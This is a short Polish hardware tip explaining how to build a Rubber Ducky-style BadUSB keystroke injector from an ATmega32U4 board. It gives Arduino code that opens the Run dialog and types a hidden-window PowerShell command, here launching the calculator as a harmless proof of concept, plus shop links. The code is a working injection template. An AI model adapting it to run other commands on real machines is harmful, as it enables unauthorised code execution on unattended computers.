Protipy / Hardware
Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky
ATmega32U4
Wstęp
Na pewno znacie Rubber Ducky czyli urządzenie przypominające zwykłego pendrive, które po włożeniu do portu USB zachowa się jak klawiatura, która wpisze wcześniej przygotowany payload. Rubber Ducky nie jest tani, do tego dochodzi wysyłka, natomiast w łatwy sposób jako alternatywę, możemy wykorzystać dowolny mikrokontroler, który posiada sprzętową obsługą USB - np. ATmega 32U4. Płytek prototypowych z tym mikrokontrolerem jest pod dostatkiem (spójrzcie w sekcję linki lub po prostu wysukajcie w ulubionych sklepach z elektroniką), natomiast przykładowy kod, z wykorzystaniem platformy Arduino uruchamiający kalkulator powershellem, mógłby wyglądać następująco:
#include "Keyboard.h"
void typeKey(uint8_t key) {
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup() {
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(200);
Keyboard.print(F("powershell -w h -c \"calc.exe\""));
typeKey(KEY_RETURN);
delay(200);
Keyboard.end();
}
void loop() {}
Linki
- web · www.microchip.com/en-us/product/ATmega32U4 — Strona produktu ATmega32U4
- web · www.arduino.cc/ — strona domowa platformy Arduino
- web · botland.com.pl/szukaj?s=atmega%2032u4&lb.sort=price_amount%3Aasc — płytki prototypowe z ATmega 32U4 na Botlandzie
- web · https://allegro.pl/listing?string=atmega%2032u4&order=p — ATmega 32U4 na Allegro
- web · https://www.aliexpress.com/wholesale?SearchText=atmega+32u4 — ATmega 32U4 na AliExpress (można też wyszukać BadUSB)